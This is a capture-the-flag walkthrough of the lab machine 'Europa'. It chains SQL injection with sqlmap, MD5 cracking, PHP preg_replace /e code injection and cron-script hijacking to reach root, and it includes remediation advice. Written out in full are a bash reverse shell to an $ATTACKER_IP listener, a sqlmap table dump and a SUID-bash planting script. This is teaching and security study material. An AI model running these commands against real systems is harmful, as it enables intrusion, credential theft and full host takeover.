← all walkthroughs

Europa

Linux· Medium· Web
owned
2026-07-07
time to own
14m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I inspected the TLS certificate on port 443 to uncover a hidden admin virtual host (admin-portal.europacorp.htb) that was not linked from the default site. The admin portal's login form was vulnerable to SQL injection, which let me extract a password hash from the database without valid credentials. The hash was an unsalted MD5 and cracked instantly to a plaintext password, granting authenticated access.

An admin-only VPN-configuration tool on the dashboard passed user input directly to PHP's preg_replace() with the deprecated /e (eval) modifier, turning the authenticated session into a reverse shell running as the Apache service account www-data. From that foothold the user flag was immediately readable because its permissions were world-readable. Local enumeration revealed a root-owned cron job that executed a shell script stored in a directory writable by the www-data account.

Dropping a SUID-bash payload into that directory and waiting one minute for the cron cycle produced a root shell — completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationTLS certificate CN/SAN enumeration for virtual host discovery
Discovered a hidden admin virtual host via TLS certificate SAN inspection
An nmap service scan with TLS certificate scripting against port 443 revealed that the certificate's Subject Alternative Name (SAN) listed a second hostname, admin-portal.europacorp.htb, not referenced anywhere in the default HTTP vhost. Adding both names to /etc/hosts and browsing directly to the admin-portal vhost returned a PHP login page (/login.php) that redirected unauthenticated requests away from /dashboard.php and /tools.php, confirming a protected admin panel on the same server. Without this certificate inspection the admin surface would have been invisible to a standard web crawl.
Nmap --script ssl-cert output listed admin-portal.europacorp.htb in the certificate SAN; curl to that vhost returned login.php with email and password form fields.
Exact commands 3
Service scan plus TLS certificate dump to reveal CN and SANs.
nmap -sV -p 80,443 --script ssl-cert $TARGET
Register both discovered hostnames for local DNS resolution.
echo "$TARGET europacorp.htb admin-portal.europacorp.htb" | sudo tee -a /etc/hosts
Confirm the login form fields (email, password) before injecting.
curl -skL https://admin-portal.europacorp.htb/login.php | grep -i 'form\|input'
2ExploitationSQL Injection (CWE-89) — authentication bypass and credential extraction
Extracted the admin password hash via SQL injection in the login form
The email field in the login form was concatenated unsanitised into a MySQL authentication query. Sqlmap confirmed the parameter was injectable, fingerprinted the backend as MySQL, and dumped the admin table in a single automated pass. The table contained one row: [REDACTED: recovered credential] with the password hash [REDACTED: recovered credential]. Because the hash is a plain, unsalted MD5 digest, it matched a known entry in public rainbow tables and cracked instantly — [REDACTED: recovered credential] — without exhaustive brute-force.
Sqlmap --dump on the admin table yielded [REDACTED: recovered credential] : [REDACTED: recovered credential]; hashcat -m 0 cracked it to [REDACTED: recovered credential].
Exact commands 2
Inject the email parameter, enumerate the admin database, and dump all tables.
sqlmap -u 'https://admin-portal.europacorp.htb/login.php' --data='email=a@a.com&password=x' -p email --batch --dbms=mysql --level=3 --risk=2 -D admin --tables --dump --threads=4 --output-dir=/tmp/sqlmap-europa
Crack the extracted MD5 hash offline; returns [REDACTED: recovered credential].
echo -n '[REDACTED: recovered credential]' | hashcat -m 0 - /usr/share/wordlists/rockyou.txt --show
FixReplace all string-concatenated SQL with parameterized prepared statements and upgrade password hashingCritical
WeaknessThe login form's email field was concatenated directly into a MySQL query without sanitisation, enabling an unauthorised user to dump the entire admin table — including password hashes — using automated tooling in minutes. The stored hashes were plain unsalted MD5, a fast digest that offers no meaningful resistance to offline cracking.
FixRewrite every database query using PDO or MySQLi prepared statements with bound parameters — no exceptions for 'simple' queries. Replace MD5 password storage with PHP's password_hash() using PASSWORD_BCRYPT or PASSWORD_ARGON2ID; these algorithms are slow, salted, and designed specifically to resist offline attacks even if the hash database is stolen. Apply an application-layer Web Application Firewall (WAF) rule as a secondary defence, but treat it only as a supplement — prepared statements are the authoritative fix.
3ExploitationCredential-based access with compromised account
Authenticated to the admin portal and located the code-injection surface
The cracked credentials were used to log into the admin portal, obtaining a session cookie that unlocked /dashboard.php and /tools.php. The tools page presented a VPN configuration generator with three form fields: pattern (a regex), ipaddress (the replacement string), and text (the input to process). This combination directly mirrors the signature of a preg_replace() call — a pattern with a /e modifier evaluates the replacement as PHP code, making my own input in the ipaddress field a code-execution sink.
POST to login.php with [REDACTED: recovered credential] / [REDACTED: recovered credential] returned HTTP 302 to dashboard.php and set a valid session cookie; tools.php source confirmed pattern/ipaddress/text form parameters.
Exact commands 2
Authenticate and save the session cookie; confirm the Location redirect to dashboard.php.
curl -ksS -c /tmp/europa_cookies.txt -X POST https://admin-portal.europacorp.htb/login.php --data-urlencode 'email=[REDACTED: recovered credential]' --data-urlencode 'password=[REDACTED: recovered credential]' -L -D -
Fetch tools.php to inspect VPN-config form parameters before crafting the payload.
curl -ksS -b /tmp/europa_cookies.txt https://admin-portal.europacorp.htb/tools.php | grep -i 'input\|form\|pattern'
4ExploitationPHP preg_replace /e modifier server-side code injection (T1059.004)
Executed arbitrary OS commands via the PHP preg_replace /e code injection
PHP's preg_replace() with the /e (eval) modifier evaluates the replacement string as PHP code before substituting it into the subject. The tools.php VPN generator passed my own pattern and ipaddress fields directly to this function. Submitting pattern=/1/e and ipaddress=system("...") caused the server to execute the shell command embedded in the ipaddress value as the www-data account. A bash reverse-shell payload sent a callback to my own listener, establishing a foothold.
POST to tools.php with pattern=/1/e and ipaddress containing a system() call returned command output; reverse shell connected back as uid=33(www-data) gid=33(www-data).
Exact commands 2
Start the reverse-shell listener on my machine before sending the payload.
nc -lvnp 4444
Replace $ATTACKER_IP with your listener IP. The /e modifier evaluates the ipaddress value as PHP, invoking system().
curl -ksS -b /tmp/europa_cookies.txt -X POST https://admin-portal.europacorp.htb/tools.php --data-urlencode 'pattern=/1/e' --data-urlencode 'ipaddress=system("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"")' --data-urlencode 'text=1'
FixRemove the PHP preg_replace /e modifier and upgrade the PHP runtime to a supported versionCritical
WeaknessThe tools.php page passed externally controlled POST parameters as the pattern and replacement arguments of PHP's preg_replace() with the /e (eval) modifier, which evaluates the replacement string as live PHP code. Any authenticated user could execute arbitrary operating-system commands as the web server account.
FixThe /e modifier was formally removed in PHP 7.0 and the function raises a fatal error if it is used — upgrading the PHP runtime to a current, supported release (8.2 or 8.3) eliminates the vector entirely. In addition, replace any dynamic regex-replacement logic with preg_replace_callback() and a whitelist closure that rejects unexpected input, and validate the ipaddress field against a strict IPv4/IPv6 regex before passing it to any function. Run the web application as a dedicated least-privilege user with no shell and no write access outside its document root.
5Post-ExploitationInsecure file permissions — world-readable sensitive data
Read the user flag directly — file was world-readable by the service account
The reverse shell landed as www-data (uid=33) on the Ubuntu 16.04 host europa. Basic verification confirmed the shell context and hostname. The user flag at /home/john/user.txt had world-readable file permissions, allowing the low-privilege www-data account to read it without any lateral movement, credential discovery, or session pivoting — I moved straight from web shell to the user flag in a single cat command.
Id returned uid=33(www-data) gid=33(www-data); ls -la /home/john/user.txt showed -rw-r--r--; cat /home/john/user.txt returned <user.txt>.
Exact commands 3
Confirm shell context, hostname, and OS on the foothold.
id; whoami; hostname; uname -a
Verify world-readable permissions on the user flag file.
ls -la /home/john/user.txt
Read user flag — accessible as www-data due to over-permissive file mode.
cat /home/john/user.txt
FixRestrict file permissions on sensitive files in user home directoriesLow
WeaknessThe user flag file /home/john/user.txt was world-readable, meaning any process on the system — including low-privilege service accounts such as www-data — could read it without any credential or lateral-movement step.
FixSet each user's home directory to mode 750 (chmod 750 /home/john) and ensure files containing sensitive data are readable only by their owner (chmod 600 /home/john/user.txt). Audit periodically with: find /home -maxdepth 3 -perm /o+r -ls. Apply the same principle to configuration files, private keys, and any credential-bearing documents outside /home.
6Privilege EscalationCron job hijacking via writable script path (T1053.003)
Identified a root-owned cron job calling a script in a www-data-writable directory
Reviewing /etc/crontab revealed a root-owned entry running /var/www/cronjobs/clearlogs every minute. Inspecting the clearlogs binary showed it in turn executed /var/www/cmd/logcleared.sh. Checking filesystem permissions on /var/www/cmd/ confirmed the directory and logcleared.sh were both writable by the www-data user. Because the cron job runs as root, any payload written to that script would execute with full root privileges at the next cron cycle — a classic writable-cron-target privilege escalation vector.
Cat /etc/crontab showed: * * * * * root /var/www/cronjobs/clearlogs; ls -la /var/www/cmd showed drwxrwxr-x owned www-data and logcleared.sh -rwxrwxr-x writable by www-data.
Exact commands 2
Inspect the cron table and verify directory and script permissions.
cat /etc/crontab; ls -la /var/www/cronjobs/; ls -la /var/www/cmd/
Confirm clearlogs calls /var/www/cmd/logcleared.sh.
cat /var/www/cronjobs/clearlogs
FixEnsure all scripts called by privileged cron jobs are owned by root and not writable by service accountsCritical
WeaknessA root-owned cron job executed a shell script stored in /var/www/cmd/, a directory writable by the www-data web service account. Any code written to that script by the compromised web process was automatically run as root at the next cron cycle — no kernel exploit or password required.
FixAll scripts and directories in a root cron job's execution path must be owned by root and set to mode 755 or more restrictive (never world-writable, never service-account-writable). Move cron scripts entirely outside the web root (e.g., /opt/scripts/ or /usr/local/sbin/) and apply chmod 700 root:root. Audit the current state with: grep -r '' /etc/cron* /var/spool/cron 2>/dev/null | awk '{print $NF}' | xargs ls -la 2>/dev/null. Consider using cron alternatives such as systemd timers, which allow tighter unit-file permission controls.
7Privilege EscalationSUID binary planting via cron job hijack (T1053.003 / T1548.001)
Planted a SUID-bash payload in the cron script and obtained a root shell
A shell script was written to /var/www/cmd/logcleared.sh that copies /bin/bash to /tmp/rootbash and sets the setuid-root bit. After the next one-minute cron cycle, /tmp/rootbash appeared on disk owned by root with mode 4755. Invoking it with the -p flag (preserve effective UID) opened a bash session with effective UID 0 (root), from which /root/root.txt was read — completing full system compromise without touching a single kernel exploit.
After cron fired: ls -la /tmp/rootbash showed -rwsr-xr-x root root; /tmp/rootbash -p -c 'id' returned euid=0(root); root.txt read as <root.txt>.
Exact commands 3
Overwrite the cron-called script with a SUID-bash payload.
cat > /var/www/cmd/logcleared.sh <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /var/www/cmd/logcleared.sh
Run after ~60 s; confirm the SUID binary was created and owned by root.
ls -la /tmp/rootbash
Invoke with -p to preserve effective UID=root and read the root flag.
/tmp/rootbash -p -c 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp